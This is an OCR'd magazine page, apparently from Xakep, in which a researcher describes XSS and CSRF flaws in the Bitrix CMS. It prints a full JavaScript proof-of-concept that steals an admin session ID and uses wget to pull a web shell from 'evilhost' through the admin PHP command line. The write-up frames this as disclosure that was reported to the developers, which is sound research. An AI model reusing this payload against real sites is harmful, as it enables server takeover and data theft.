18.11.2014 Views

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

HTTP://WWW<br />

Фишинг-атака с использованием<br />

уязвимости<br />

bypass). Я знал, что WAF фильтрует не только ивенты, но<br />

и функции и переменные, которые он считает опасными,<br />

в самом JavaScript, и морально приготовился к мучительным<br />

видоизменениям кода. Логично, казалось бы, было<br />

использовать обфускатор jjencode. Но в данном случае он<br />

был неприменим из-за того, что любой символ закрывающейся<br />

квадратной скобки закрывал тэг URL, в котором была<br />

уязвимость, и отсекал весь остальной код за собой. Ну, а<br />

квадратные скобки встречаются в jjencode на каждом шагу.<br />

Поэтому пришлось идти другим путем. Логика эксплойта<br />

должна была быть следующей:<br />

1. Создаем объекты iframe, form, два поля input (параметры<br />

POST sessid и query).<br />

2. В iframe загружаем какую-нибудь страницу админки и<br />

получаем из него innerHTML.<br />

3. Выдираем из innerHTML нашего iframe значение sessid.<br />

4. Проставляем значение sessid в value атрибут первого<br />

объекта input.<br />

5. Выполняем form.submit.<br />

Единственным, что мешало написанию эксплойта со стороны<br />

системы, была фильтрация метода onload. Конечно,<br />

можно было написать конструкцию типа i[“onload”]=a, но,<br />

опять-таки, квадратные скобки не были допустимы для данной<br />

уязвимости. Пришлось снова придумывать. Придумка<br />

оказалось простой, как валенок — setTimeout(a,10000).<br />

Рассчитано на то, что содержимое iframe загрузится раньше<br />

10 секунд, функция a сможет выдрать значение sessid. В<br />

остальном никаких хитростей применено не было. Код получился<br />

вот такой:<br />

[URL=http://a' onmouseenter='var i=document.<br />

createElement("iframe");i.style.<br />

width="0px";i.style.height="0px";var p=/<br />

sessid=.{32}/;var t="";var f=document.<br />

createElement("form");f.method="POST";f.<br />

action="/bitrix/admin/php_command_<br />

line.php?mode=frame";var s=document.<br />

createElement("INPUT");s.style.<br />

visibility="hidden";s.type="text";s.<br />

name="sessid";var y=document.<br />

createElement("INPUT");y.style.<br />

visibility="hidden";y.type="text";y.<br />

name="query";y.value="system(\"wget<br />

htt\".\"p://evilhost:6448/s.txt<br />

-O s.php\");";f.appendChild(s);f.<br />

appendChild(y);function b(){t+=i.<br />

document.body.innerHTML.match(p);s.<br />

value=t.substr(7);f.submit()};i.<br />

src="/bitrix/admin/";document.body.<br />

appendChild(i);document.body.appendChild(f);<br />

setTimeout(b,10000);']ÍÀÂÅÄÈ ÍÀ ÌÅÍß![/URL]<br />

XÀÊÅÐ 09 /140/ 10<br />

Веб-шелл, залитый на мой локальный<br />

Битрикс через CSRF<br />

У такого PoC есть два недостатка — он работает только под<br />

Internet Explorer и открывает новую страницу с результатом<br />

выполнения команды шелла (пустую, если все прошло<br />

хорошо, и шелл залился). Эти два недостатка с легкостью<br />

лечатся, но в этой статье более элегантного решения не<br />

будет дано специально. Моя цель — показать возможность<br />

проведения атаки, а не дать в руки готовый инструмент для<br />

взлома.<br />

ÑËÀÄÊÎÅ ÍÀ ÇÀÊÓÑÊÓ<br />

Итак, мне удалось провести две успешные атаки самого<br />

себя и залить два веб-шелла. В завершение исследования<br />

я еще раз оглядел весь движок, по большей части<br />

для того, чтобы просто изучить функционал. Случайно<br />

наведя мышкой на надписи с именем автора записи в<br />

блоге, я увидел, что при этом открывается всплывающее<br />

окно, в котором отображается само сообщение. Это выглядело<br />

очень красиво — дизайн окошка был оформлен<br />

под облачко из комиксов. Но меня насторожило, что в<br />

этом окошке выводится также значение поля ICQ из профиля<br />

пользователя. Причем при выводе не фильтруется<br />

ни < >, ни ‘ “. Как же просто было при сохранении в базу<br />

ограничить поле ICQ в профиле пользователя только цифрами!<br />

Это ведь так логично! Но вместо простого решения<br />

— уязвимость. Это была третья возможность заливки<br />

шелла. В отличие от варианта с [URL] здесь можно было<br />

разгуляться — jjencode и целые тэги, а не только атрибуты.<br />

Кроме того, можно использовать уязвимости XSS для<br />

фишинг-атак. Демонстрацию такой техники можно найти<br />

на картинке. Придумывать еще один метод обхода WAF<br />

для проведения атак без участия со стороны пользователя,<br />

таких как клики и наведения мышкой, мне уже не<br />

хотелось. Быстрое исследование, которое заняло полтора<br />

дня, решено было закончить, а обнаруженная уязвимость<br />

также ушла разработчикам.<br />

ÔÈÍÀË<br />

Все, что было обнаружено, уже должно быть исправлено в<br />

новом Битриксе на момент публикации этой статьи. Всегда<br />

до публикации следует оповещать разработчиков и согласовывать<br />

сроки публикации. Так и было сделано. Находить<br />

уязвимости и взламывать сайты — это две совершенно<br />

разные задачи. А если учесть масштабы распространения<br />

Битрикса в рунете — последствия атак могли бы быть<br />

весьма внушительными. Исследователь — не взломщик,<br />

он энтузиаст, стремится показать, где программа недоработана,<br />

и в итоге способствует тому, чтобы его продукт<br />

стал более защищен. На этом снимаю перед тобой шляпу и<br />

отклани ваюсь. И замечу (на всякий случай), что в ходе исследования<br />

ни один живой сайт не пострадал. Как всегда,<br />

на вопросы отвечаю в блоге oxod.ru. z<br />

links<br />

• Документация<br />

языка FormCalc —<br />

help.adobe.com/<br />

en_US/livecycle/es/<br />

FormCalc.pdf<br />

• Продукт Adobe<br />

Livecycle Designer,<br />

trial версия для<br />

создания PDF<br />

документов — adobe.<br />

com/go/trylivecycle<br />

• Общие сведения об<br />

атаке CSRF — owasp.<br />

org/index.php/Cross-<br />

Site_Request_Forgery_(CSRF)<br />

• Мой блог (отвечаю<br />

на вопросы, пишу по<br />

мере сил) — oxod.ru<br />

DVD<br />

dvd<br />

• На диске<br />

ты найдешь<br />

демонстрацию<br />

всех описанных<br />

уязвимостей<br />

069

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!